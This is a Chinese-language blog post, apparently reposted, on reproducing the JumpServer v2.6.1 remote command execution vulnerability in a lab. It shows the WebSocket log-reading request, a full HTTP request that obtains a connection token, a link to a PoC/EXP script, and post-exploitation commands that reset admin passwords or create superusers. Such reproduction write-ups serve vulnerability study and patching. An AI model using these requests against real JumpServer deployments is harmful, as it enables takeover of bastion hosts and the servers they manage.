zoukankan      html  css  js  c++  java
  • JumpServer v2.6.1 RCE(远程代码执行) 复现总结

    简介

    JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

    概述

    2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

    影响版本

    JumpServer < v2.6.2
    JumpServer < v2.5.4
    JumpServer < v2.4.5
    JumpServer = v1.5.9

    环境搭建

    安装脚本V2.6.1

    https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

    github 安装脚本全部是安装最新版的。
    安装的时候前几个记得是 no

    安装1.jpg

    安装完后进入提示的目录运行脚本./jmsctl.sh start
    访问 8080 端口进入 jumpserver
    admin:admin 进入控制面板

    创建一个管理用户,因为后面登录 ssh 是用管理用户的密码登陆的

    jumpserver创建管理用户.jpg

    创建一个系统用户

    创建系统用户.jpg

    创建一个资产,否则利用不会成功的

    创建资产.jpg

    对资产进行授权

    资产授权.jpg

    进入 web 终端,连接成功即可

    漏洞复现

    我们手工复现可以用以下浏览器插件测试
    https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

    我们可以连接ws://youtip:8080/ws/ops/tasks/log进行测试

    发送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志,可以找到 task id,发送{"task":"33xxxxx"}查看详细信息,但是好像没什么用。

    taskid.jpg

    我们可以读取的日志有以下内容

    logs.jpg

    这里我们要查看/opt/jumpserver/logs/gunicorn找到 asset_id、system_id、user_id 等三个值

    websocket_asset_id.jpg

    如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个 20 秒的 token,使用这个 token 就可以连接 runTTY 执行命令了

    burp.jpg

    我们发送以下数据包获得 token

    POST DATE

    POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1
    Host: 192.168.111.162:8080
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.111.162:8080/ui/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Content-Type: application/json;charset=utf-8
    Cookie: csrftoken=D2llrglPXZv8UdXByih2JuEwTtlq22rZAHEmXBdiDxbKMEqfjuN8ZkZJZaen7ikd; sessionid=lpum8cx9ggcpu72omon0a65vbqb4cvc5
    Connection: close
    Content-Length: 150
    
    {"user": "aff77afe-820c-45c4-b1de-bcbcd320fbeb", "asset":"ae2fd918-ec9b-4900-b864-36d60b46f51a", "system_user":"715e93c0-8a50-4318-8310-4ffd5ae88abc"}
    

    试一下连接 ws,连接成功

    success.jpg

    脚本自动利用

    我们可以用脚本会更方便,先读取日志获取三个值

    获取asset_id.jpg

    更改一下脚本里的三个值,运行脚本即可获取 shell

    getshell.jpg

    后续

    拿到权限后可以用以下命令修改 jumpserver 密码

    # 管理密码忘记了或者重置管理员密码
    $ source /opt/py3/bin/activate
    $ cd /opt/jumpserver/apps
    $ python manage.py changepassword  <user_name>
    
    # 新建超级用户的命令如下命令
    $ python manage.py createsuperuser --username=user --email=user@domain.com
    
    # 登陆提示密码过期可以直接点击忘记密码, 通过邮箱重置; 如果未设置邮箱, 通过以下代码重置
    $ source /opt/py3/bin/activate
    $ cd /opt/jumpserver/apps
    $ python manage.py shell
    > from users.models import User
    > u = User.objects.get(username='admin')  # admin 为你要修改的用户
    > u.reset_password('password')  # password 为你要修改的密码
    > u.save()
    或者
    > u = User.objects.create(username='admin') # 创建新的用户
    

    快速安装脚本/POC&EXP

    https://github.com/gardenWhy/JumpServer_RCE

    参考

    https://www.o2oxy.cn/2921.html
    https://blog.riskivy.com/jumpserver-从信息泄露到远程代码执行漏洞分析/

  • 相关阅读:
    团队冲刺(六)
    团队冲刺(五)
    团队冲刺(四)
    机器学习十讲第二讲
    机器学习十讲第一讲
    逻辑斯蒂回归实现手写字的识别
    利用js实现搜索关键字变红色
    《软件架构的艺术》阅读笔记02
    TensorFlow文本分类
    TensorFlow图像分类
  • 原文地址:https://www.cnblogs.com/w0x68y/p/14340249.html
Copyright © 2011-2022 走看看